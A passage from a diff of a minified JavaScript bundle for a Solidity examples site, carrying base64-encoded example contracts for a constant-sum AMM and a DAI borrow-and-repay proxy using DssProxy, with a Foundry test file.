aWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],cm=`

                    Constant sum AMM X + Y = K

                    Tokens trade one to one.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4279,10 +4279,10 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,cm=({prev:s,next:a})=>r.jsx(u,{version:am,title:nm,description:lm,html:em,prev:s,next:a,codes:pm}),tm="0.8.24",om="DAI Proxy Examples",rm="Borrow and repay DAI using DssProxy",im=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CmFkZHJlc3MgY29uc3RhbnQgUFJPWFlfUkVHSVNUUlkgPSAweDQ2NzhmMGE2OTU4ZTREMkJjNEYxQkFGN0JjNTJFOEYzNTY0ZjNmRTQ7CmFkZHJlc3MgY29uc3RhbnQgUFJPWFlfQUNUSU9OUyA9IDB4ODJlY0QxMzVEY2U2NUZiYzZEYmREMGU0MjM3RTBBRjkzRkZENTAzODsKYWRkcmVzcyBjb25zdGFudCBDRFBfTUFOQUdFUiA9IDB4NWVmMzBiOTk4NjM0NTI0OWJjMzJkODkyOEI3ZWU2NERFOTQzNUUzOTsKYWRkcmVzcyBjb25zdGFudCBKVUcgPSAweDE5YzA5NzZmNTkwRDY3NzA3RTYyMzk3Qzg3ODI5ZDg5NkRjMGYxRjE7CmFkZHJlc3MgY29uc3RhbnQgSk9JTl9FVEhfQyA9IDB4RjA0YTVjQzgwQjFFOTRDNjlCNDhmNWVlNjhhMDhDRDJGMDlBN2MzRTsKYWRkcmVzcyBjb25zdGFudCBKT0lOX0RBSSA9IDB4OTc1OUE2QWM5MDk3N2I5M0I1ODU0N2I0QTcxYzc4MzE3ZjM5MUEyODsKCmJ5dGVzMzIgY29uc3RhbnQgRVRIX0MgPQogICAgMHg0NTU0NDgyZDQzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOwoKY29udHJhY3QgRGFpUHJveHkgewogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgZGFpID0gSUVSQzIwKERBSSk7CiAgICBhZGRyZXNzIHB1YmxpYyBpbW11dGFibGUgcHJveHk7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgY2RwSWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgcHJveHkgPSBJRHNzUHJveHlSZWdpc3RyeShQUk9YWV9SRUdJU1RSWSkuYnVpbGQoKTsKICAgICAgICBieXRlczMyIHJlcyA9IElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSURzc1Byb3h5QWN0aW9ucy5vcGVuLCAoQ0RQX01BTkFHRVIsIEVUSF9DLCBwcm94eSkpCiAgICAgICAgKTsKICAgICAgICBjZHBJZCA9IHVpbnQyNTYocmVzKTsKICAgIH0KCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGxvY2tFdGgoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGV7dmFsdWU6IG1zZy52YWx1ZX0oCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5sb2NrRVRILCAoQ0RQX01BTkFHRVIsIEpPSU5fRVRIX0MsIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBib3Jyb3codWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5kcmF3LAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKVUcsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheSh1aW50MjU2IGRhaUFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIGRhaS5hcHByb3ZlKHByb3h5LCBkYWlBbW91bnQpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGUsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkLCBkYWlBbW91bnQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlcGF5QWxsKCkgZXh0ZXJuYWwgewogICAgICAgIGRhaS5hcHByb3ZlKHByb3h5LCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMud2lwZUFsbCwgKENEUF9NQU5BR0VSLCBKT0lOX0RBSSwgY2RwSWQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHVubG9ja0V0aCh1aW50MjU2IGV0aEFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLmZyZWVFVEgsCiAgICAgICAgICAgICAgICAoQ0RQX01BTkFHRVIsIEpPSU5fRVRIX0MsIGNkcElkLCBldGhBbW91bnQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSURzc1Byb3h5UmVnaXN0cnkgewogICAgZnVuY3Rpb24gYnVpbGQoKSBleHRlcm5hbCByZXR1cm5zIChhZGRyZXNzIHByb3h5KTsKfQoKaW50ZXJmYWNlIElEc3NQcm94eSB7CiAgICBmdW5jdGlvbiBleGVjdXRlKGFkZHJlc3MgdGFyZ2V0LCBieXRlcyBtZW1vcnkgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChieXRlczMyIHJlcyk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHlBY3Rpb25zIHsKICAgIGZ1bmN0aW9uIG9wZW4oYWRkcmVzcyBjZHBNYW5hZ2VyLCBieXRlczMyIGlsaywgYWRkcmVzcyB1c3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGNkcElkKTsKICAgIGZ1bmN0aW9uIGxvY2tFVEgoYWRkcmVzcyBjZHBNYW5hZ2VyLCBhZGRyZXNzIGV0aEpvaW4sIHVpbnQyNTYgY2RwSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlOwogICAgZnVuY3Rpb24gZHJhdygKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBqdWcsCiAgICAgICAgYWRkcmVzcyBkYWlKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBkYWlBbW91bnQKICAgICkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB3aXBlKAogICAgICAgIGFkZHJlc3MgY2RwTWFuYWdlciwKICAgICAgICBhZGRyZXNzIGRhaUpvaW4sCiAgICAgICAgdWludDI1NiBjZHBJZCwKICAgICAgICB1aW50MjU2IGRhaUFtb3VudAogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHdpcGVBbGwoYWRkcmVzcyBjZHBNYW5hZ2VyLCBhZGRyZXNzIGRhaUpvaW4sIHVpbnQyNTYgY2RwSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBmcmVlRVRIKAogICAgICAgIGFkZHJlc3MgY2RwTWFuYWdlciwKICAgICAgICBhZGRyZXNzIGV0aEpvaW4sCiAgICAgICAgdWludDI1NiBjZHBJZCwKICAgICAgICB1aW50MjU2IGNvbGxhdGVyYWxBbW91bnQKICAgICkgZXh0ZXJuYWw7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"DaiProxyTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS9kYWktcHJveHkvRGFpUHJveHkuc29sIjsKCmFkZHJlc3MgY29uc3RhbnQgVkFUID0gMHgzNUQxYjNGM0Q3OTY2QTFERmUyMDdhYTQ1MTRDMTJhMjU5QTA0OTJCOwoKdWludDI1NiBjb25zdGFudCBXQUQgPSAxZTE4Owp1aW50MjU2IGNvbnN0YW50IFJBWSA9IDFlMjc7CnVpbnQyNTYgY29uc3RhbnQgUkFEID0gMWU0NTsKCnVpbnQyNTYgY29uc3RhbnQgRVRIX0FNT1VOVCA9IDEwMCAqIDFlMTg7CnVpbnQyNTYgY29uc3RhbnQgREFJX0FNT1VOVCA9IDEwMDAwICogMWUxODsKCmNvbnRyYWN0IERhaVByb3h5VGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSUNkcE1hbmFnZXIgcHJpdmF0ZSBjb25zdGFudCBjZHBNYW5hZ2VyID0gSUNkcE1hbmFnZXIoQ0RQX01BTkFHRVIpOwogICAgSVZhdCBwcml2YXRlIGNvbnN0YW50IHZhdCA9IElWYXQoVkFUKTsKICAgIERhaVByb3h5IHByaXZhdGUgcHJveHk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHByb3h5ID0gbmV3IERhaVByb3h5KCk7CgogICAgICAgIC8vIENoZWNrIG1pbiBib3Jyb3cKICAgICAgICBJVmF0LklsayBtZW1vcnkgaWxrID0gdmF0Lmlsa3MoRVRIX0MpOwogICAgICAgIGFzc2VydEdlKERBSV9BTU9VTlQgKiBSQVksIGlsay5kdXN0LCAiREFJIGJvcnJvdyBhbW91bnQgPCBkdXN0Iik7CgogICAgICAgIC8vIEludGVyZXN0IHJhdGUgYWNjdW11bGF0b3IKICAgICAgICBjb25zb2xlMi5sb2coImlsay5yYXRlIiwgaWxrLnJhdGUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHByaW50KGFkZHJlc3MgdXJuQWRkcikgcHJpdmF0ZSB7CiAgICAgICAgSVZhdC5Vcm4gbWVtb3J5IHVybiA9IHZhdC51cm5zKEVUSF9DLCB1cm5BZGRyKTsKICAgICAgICBjb25zb2xlMi5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBjb2xsYXRlcmFsIFt3YWRdIiwgdXJuLmluayk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBkZWJ0ICAgICAgIFt3YWRdIiwgdXJuLmFydCk7CiAgICAgICAgY29uc29sZTIubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiRVRIIGluIHByb3h5ICAgICBbd2FkXSIsIGFkZHJlc3MocHJveHkpLmJhbGFuY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfcHJveHkoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgY2RwSWQgPSBwcm94eS5jZHBJZCgpOwogICAgICAgIGFkZHJlc3MgdXJuQWRkciA9IGNkcE1hbmFnZXIudXJucyhjZHBJZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],gm=`

                    Example

                    +`,tm=({prev:s,next:a})=>r.jsx(u,{version:nm,title:lm,description:pm,html:cm,prev:s,next:a,codes:em}),om="0.8.24",rm="DAI Proxy Examples",im="Borrow and repay DAI using DssProxy",gm=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFBST1hZX1JFR0lTVFJZID0gMHg0Njc4ZjBhNjk1OGU0RDJCYzRGMUJBRjdCYzUyRThGMzU2NGYzZkU0OwphZGRyZXNzIGNvbnN0YW50IFBST1hZX0FDVElPTlMgPSAweDgyZWNEMTM1RGNlNjVGYmM2RGJkRDBlNDIzN0UwQUY5M0ZGRDUwMzg7CmFkZHJlc3MgY29uc3RhbnQgQ0RQX01BTkFHRVIgPSAweDVlZjMwYjk5ODYzNDUyNDliYzMyZDg5MjhCN2VlNjRERTk0MzVFMzk7CmFkZHJlc3MgY29uc3RhbnQgSlVHID0gMHgxOWMwOTc2ZjU5MEQ2NzcwN0U2MjM5N0M4NzgyOWQ4OTZEYzBmMUYxOwphZGRyZXNzIGNvbnN0YW50IEpPSU5fRVRIX0MgPSAweEYwNGE1Y0M4MEIxRTk0QzY5QjQ4ZjVlZTY4YTA4Q0QyRjA5QTdjM0U7CmFkZHJlc3MgY29uc3RhbnQgSk9JTl9EQUkgPSAweDk3NTlBNkFjOTA5NzdiOTNCNTg1NDdiNEE3MWM3ODMxN2YzOTFBMjg7CgpieXRlczMyIGNvbnN0YW50IEVUSF9DID0KICAgIDB4NDU1NDQ4MmQ0MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDsKCmNvbnRyYWN0IERhaVByb3h5IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgYWRkcmVzcyBwdWJsaWMgaW1tdXRhYmxlIHByb3h5OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGNkcElkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIHByb3h5ID0gSURzc1Byb3h5UmVnaXN0cnkoUFJPWFlfUkVHSVNUUlkpLmJ1aWxkKCk7CiAgICAgICAgYnl0ZXMzMiByZXMgPSBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElEc3NQcm94eUFjdGlvbnMub3BlbiwgKENEUF9NQU5BR0VSLCBFVEhfQywgcHJveHkpKQogICAgICAgICk7CiAgICAgICAgY2RwSWQgPSB1aW50MjU2KHJlcyk7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBsb2NrRXRoKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRle3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMubG9ja0VUSCwgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gYm9ycm93KHVpbnQyNTYgZGFpQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMuZHJhdywKICAgICAgICAgICAgICAgIChDRFBfTUFOQUdFUiwgSlVHLCBKT0lOX0RBSSwgY2RwSWQsIGRhaUFtb3VudCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVwYXkodWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgZGFpQW1vdW50KTsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy53aXBlLCAoQ0RQX01BTkFHRVIsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheUFsbCgpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGVBbGwsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmxvY2tFdGgodWludDI1NiBldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5mcmVlRVRILAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCwgZXRoQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElEc3NQcm94eVJlZ2lzdHJ5IHsKICAgIGZ1bmN0aW9uIGJ1aWxkKCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyBwcm94eSk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHkgewogICAgZnVuY3Rpb24gZXhlY3V0ZShhZGRyZXNzIHRhcmdldCwgYnl0ZXMgbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiByZXMpOwp9CgppbnRlcmZhY2UgSURzc1Byb3h5QWN0aW9ucyB7CiAgICBmdW5jdGlvbiBvcGVuKGFkZHJlc3MgY2RwTWFuYWdlciwgYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBjZHBJZCk7CiAgICBmdW5jdGlvbiBsb2NrRVRIKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBldGhKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIGRyYXcoCiAgICAgICAgYWRkcmVzcyBjZHBNYW5hZ2VyLAogICAgICAgIGFkZHJlc3MganVnLAogICAgICAgIGFkZHJlc3MgZGFpSm9pbiwKICAgICAgICB1aW50MjU2IGNkcElkLAogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50CiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gd2lwZSgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBkYWlKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBkYWlBbW91bnQKICAgICkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB3aXBlQWxsKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBkYWlKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gZnJlZUVUSCgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBldGhKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBjb2xsYXRlcmFsQW1vdW50CiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzcmMsIGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"DaiProxyTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS9kYWktcH